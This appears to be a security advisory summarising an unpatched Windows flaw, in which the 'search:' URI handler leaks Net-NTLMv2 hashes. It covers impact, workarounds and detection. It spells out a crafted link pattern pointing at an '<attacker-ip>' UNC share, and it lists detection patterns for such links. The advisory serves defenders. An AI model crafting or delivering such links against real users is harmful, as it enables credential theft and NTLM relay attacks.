Full Report
The same NTLM leakage primitive that got patched in the Snipping Tool exists in Windows Explorer's search: handler. No CVE. No fix. If your patching relies on CVE coverage, you have a blind spot.
Analysis Summary
# Vulnerability: Unpatched NTLM Leak via Windows Search URI Handler
## CVE Details
- **CVE ID**: N/A (Microsoft declined to issue a CVE, designating it "below the servicing bar")
- **CVSS Score**: 4.3 (Equivalent to the related CVE-2026-33829)
- **Severity**: Moderate
- **CWE**: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
## Affected Systems
- **Products**: Microsoft Windows
- **Versions**: Windows 11 (specifically verified on 23H2 Pro, Build 22631.6199) and likely other versions supporting the `search:` protocol.
- **Configurations**: Standard user configurations; no administrative privileges or special developer modes are required.
## Vulnerability Description
This vulnerability is an NTLM leakage primitive residing in the Windows `search:` URI handler. It is functionally identical to the flaw patched in the Snipping Tool (`ms-screensketch:`). The handler accepts a `crumb=location:` parameter that fails to validate input. When a victim clicks a specially crafted link (e.g., `search:crumb=location:\\<attacker-ip>\share`), Windows Explorer attempts to access the remote UNC path. This connection automatically triggers NTLM authentication, sending the user's Net-NTLMv2 hash to the attacker-controlled server.
## Exploitation
- **Status**: PoC available/verified; behavior is a known "Won't Fix" by the vendor.
- **Complexity**: Low (Requires only a single user click on a URI).
- **Attack Vector**: Network (Remote delivery via link in email, browser, or messaging apps).
## Impact
- **Confidentiality**: Moderate (Leals Net-NTLMv2 hashes which can be subjected to offline cracking or used in NTLM relay attacks).
- **Integrity**: None (Directly).
- **Availability**: None.
## Remediation
### Patches
- **No patch available.** Microsoft has indicated they will not issue a fix for this specific URI handler at this time.
### Workarounds
- **Block Outbound SMB**: Prevent hosts from initiating connections over TCP/445 and TCP/139 to external/internet-facing IP addresses. This is the most effective defense against NTLM leakage.
- **URI Protocol Disabling**: Administrators can potentially unregister the `search` protocol handler in the Windows Registry, though this may impact legitimate Windows Search functionality.
## Detection
- **Indicators of Compromise**:
- Unusual outbound traffic on Port 445 to unknown external IPs.
- Application logs showing the execution of `search:crumb=location:` URIs.
- **Detection Methods**:
- **SIEM/EDR**: Monitor for process execution or command-line arguments containing the `search:` protocol combined with UNC paths (`\\`).
- **Network Traffic**: Inspect mail flow and proxy logs for `search-ms:` and `search:` URI schemes.
## References
- **Vendor Communication**: MSRC (Microsoft Security Response Center) closed the report as "informational/no fix."
- **Related Vulnerability**: CVE-2026-33829 (Snipping Tool variant).
- **Source Article**: hxxps[://]www[.]huntress[.]com/blog/unpatched-ntlm-leak-windows-search-uri-handler